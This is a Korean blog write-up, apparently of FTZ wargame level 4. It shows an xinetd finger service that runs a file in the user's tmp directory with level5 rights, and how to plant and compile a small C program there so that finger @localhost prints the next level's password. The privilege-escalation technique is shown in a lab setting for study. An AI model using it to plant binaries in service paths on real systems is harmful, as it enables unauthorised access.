728x90
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

ls /etc/xined.d를 해보면 backdoor 파일이 있다.

service finger 
{
	disable	= no
	flags		= REUSE
	socket_type	= stream        
	wait		= no
	user		= level5
	server		= /home/level4/tmp/backdoor
	log_on_failure	+= USERID
}​

중요한 부분은 user과 server이다.

user: 서비스를 실행하는 사용자.

server: 서비스의 실행 파일 절대 경로.

더 궁금하면 아래 링크를 참고하자.

https://sungpil94.tistory.com/206

 

Linux_리눅스 Xinetd 슈퍼데몬

리눅스 Xinetd - 오라클 가상 머신 사용 - CentOS7 - Windows 10 - 데몬을 관리하는 데몬이다. ( 슈퍼 데몬 ) - inetd 에서 xinetd로 - 기존의 inetd 슈퍼데몬의 비효율적인 리소스 관리와 보안성 문제를 극복하

sungpil94.tistory.com

finger라는 서비스 요청 시 level5의 사용자 권한으로 /home/level4/tmp/backdoor 파일을 실행한다.

/home/level4/tmp 폴더로 이동 후 vi backdoor.c 명령으로 소스 파일을 만든다.

#include <stdlib.h>
main(){
	system("my-pass");
}

입력 후 gcc backdoor.c -o backdoor 명령어로 컴파일한다.

backdoor 파일이 생성된다.

finger @'현재 구동 중인 가상머신의 ftz 서버 ip'를 입력하면 backdoor가 실행되며 level5의 비밀번호가 나온다.

finger @localhost로 대체가능하다.

localhost는 결국 내 pc이므로 우리는 현재 xshell로 ftz서버에 접속해 있다. 따라서 ftz 서버를 가리킨다.

finger만 입력하면 명령어는 실행되지만 비밀번호는 나오지 않는다.

finger의 속성파일이 /etc/xinetd.d에 있었듯이 xinetd의 서비스이기에 네트워크를 통해 접속하는 요청이어야 하기 때문이다.

finger 명령어만 입력하면 단순히 내부 pc에서 실행된다.

[level4@ftz tmp]$ finger @192.168.93.128
^[[H^[[J
Level5 Password is "what is your name?".

[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "what is your name?".

혹시 비밀번호가 출력 안되면 몇 번 반복해서 시도해 보자.

728x90

'FTZ' 카테고리의 다른 글

level6  (0) 2023.01.08
level5  (0) 2023.01.08
level3  (0) 2023.01.07
level2  (0) 2023.01.07
level1  (1) 2023.01.07

+ Recent posts